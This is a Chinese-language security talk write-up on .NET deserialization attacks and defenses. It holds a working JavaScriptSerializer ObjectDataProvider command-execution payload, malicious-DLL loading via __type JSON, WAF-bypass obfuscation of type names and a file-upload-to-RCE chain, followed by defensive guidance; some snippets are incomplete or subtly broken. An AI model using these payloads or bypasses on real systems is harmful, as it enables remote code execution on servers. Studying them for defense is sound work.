【补天白帽黑客城市沙龙-杭州站】.NET反序列化漏洞全链路攻防
字数 1774 2025-09-01 11:25:54
.NET反序列化漏洞全链路攻防技术解析
一、.NET反序列化漏洞概述
1.1 反序列化漏洞基本原理
- 序列化:将对象转换为可存储或传输的格式(如JSON、XML、二进制)
- 反序列化:将存储或传输的数据重新构造为对象
- 漏洞成因:反序列化过程中执行了不可信的输入数据,导致恶意代码执行
1.2 .NET中常见的反序列化组件
-
BinaryFormatter
- 二进制序列化,功能强大但危险性高
- 可序列化任意类型,包括委托和动态生成的代码
-
JavaScriptSerializer
- ASP.NET内置的JSON序列化器
- 存在特殊漏洞触发机制
-
DataContractSerializer
- 基于契约的序列化器
- 相对安全但仍存在潜在风险
-
XmlSerializer
- XML格式序列化
- 安全性较高,但配置不当仍可能存在问题
二、JavaScriptSerializer特殊漏洞机制
2.1 漏洞触发原理
- JavaScriptSerializer默认使用
SimpleTypeResolver进行类型解析 - 攻击者可构造恶意JSON指定任意类型进行实例化
- 通过
__type字段指定要反序列化的类型
2.2 漏洞利用条件
- 使用JavaScriptSerializer反序列化不可信数据
- 未设置或使用不安全的TypeResolver
- 目标类中存在危险方法或属性
2.3 典型利用代码示例
string json = @"{
'__type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'__type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'__type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
JavaScriptSerializer serializer = new JavaScriptSerializer(new SimpleTypeResolver());
serializer.DeserializeObject(json); // 触发命令执行
三、从DLL上传到混合程序集加载的完整利用链
3.1 攻击流程
- 恶意DLL上传:利用文件上传漏洞将恶意DLL上传到服务器
- 反序列化触发加载:通过反序列化漏洞加载上传的DLL
- 混合程序集利用:利用程序集加载机制执行恶意代码
3.2 关键步骤详解
3.2.1 恶意DLL制作
// 恶意类示例
public class EvilClass
{
public EvilClass()
{
System.Diagnostics.Process.Start("calc.exe");
}
public string ExecuteCommand(string cmd)
{
// 命令执行逻辑
}
}
3.2.2 利用反序列化加载DLL
string json = @"{
'__type':'EvilClass, EvilAssembly, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null',
'Command':'whoami'
}";
// 通过反序列化触发DLL加载
JavaScriptSerializer serializer = new JavaScriptSerializer(new SimpleTypeResolver());
serializer.DeserializeObject(json);
3.2.3 混合程序集技术
- 利用
AppDomain.AssemblyResolve事件劫持程序集加载 - 通过
Assembly.Load动态加载恶意程序集 - 结合反射调用危险方法
四、WAF绕过技术
4.1 常见WAF防护策略
- 黑名单过滤危险类型(如
ObjectDataProvider) - 检测
__type字段的使用 - 限制反序列化深度
- 监控异常行为
4.2 代码层面绕过方法
4.2.1 类型名称混淆
// 使用全小写或大小写混合绕过简单匹配
"__type": "system.windows.data.objectdataprovider"
// 使用Unicode编码
"__type": "\u0053\u0079\u0073\u0074\u0065\u006d\u002e\u0057\u0069\u006e\u0064\u006f\u0077\u0073\u002e\u0044\u0061\u0074\u0061\u002e\u004f\u0062\u006a\u0065\u0063\u0074\u0044\u0061\u0074\u0061\u0050\u0072\u006f\u0076\u0069\u0064\u0065\u0072"
4.2.2 替代危险类型
- 使用
System.Configuration.Install.AssemblyInstaller - 利用
System.Management.Automation.PowerShell System.Activities.WorkflowInvoker
4.2.3 分阶段触发
- 第一阶段:反序列化无害对象
- 第二阶段:通过属性设置触发恶意行为
4.2.4 反射调用
string json = @"{
'__type':'System.Reflection.Assembly, mscorlib',
'Location':'C:\\temp\\evil.dll'
}";
// 通过反射加载和执行
var obj = serializer.DeserializeObject(json);
Type type = obj.GetType();
MethodInfo loadMethod = type.GetMethod("LoadFrom");
Assembly evilAssembly = (Assembly)loadMethod.Invoke(null, new object[] { "C:\\temp\\evil.dll" });
五、防御措施
5.1 安全编码实践
-
避免使用不安全的序列化器
- 禁用
BinaryFormatter - 谨慎使用
JavaScriptSerializer
- 禁用
-
使用安全配置
// 使用安全的TypeResolver或禁用类型解析 JavaScriptSerializer serializer = new JavaScriptSerializer(); // 或 JavaScriptSerializer serializer = new JavaScriptSerializer(new SafeTypeResolver()); -
输入验证
- 验证反序列化数据的来源和内容
- 过滤
__type等危险字段
5.2 运行时防护
-
代码访问安全(CAS)
- 限制程序集加载权限
- 配置适当的代码访问策略
-
应用程序白名单
- 限制可加载的程序集
- 监控异常程序集加载行为
-
深度防御
- 结合WAF和RASP防护
- 日志记录和监控反序列化操作
5.3 安全审计工具
-
静态分析工具
- 检测危险反序列化代码
- 识别不安全的配置
-
动态测试工具
- 模糊测试反序列化接口
- 自动化漏洞验证
六、实战案例分析
6.1 案例1:通过文件上传+反序列化实现RCE
- 攻击者上传恶意DLL到临时目录
- 构造特殊的JSON触发DLL加载
- 通过反序列化漏洞执行恶意代码
6.2 案例2:绕过企业级WAF的利用链
- 使用混淆的类型名称绕过黑名单
- 分阶段触发恶意行为
- 利用合法的业务功能作为跳板
七、总结与扩展
7.1 关键要点
- .NET反序列化漏洞危害严重,可导致RCE
- JavaScriptSerializer等组件存在特殊漏洞机制
- 完整利用链可结合文件上传和程序集加载
- WAF绕过需要深入理解.NET类型系统和反射机制
7.2 扩展研究方向
- .NET Core中的反序列化安全问题
- 新型反序列化gadget的挖掘
- 基于机器学习的异常行为检测
- 安全的替代序列化方案(如MessagePack)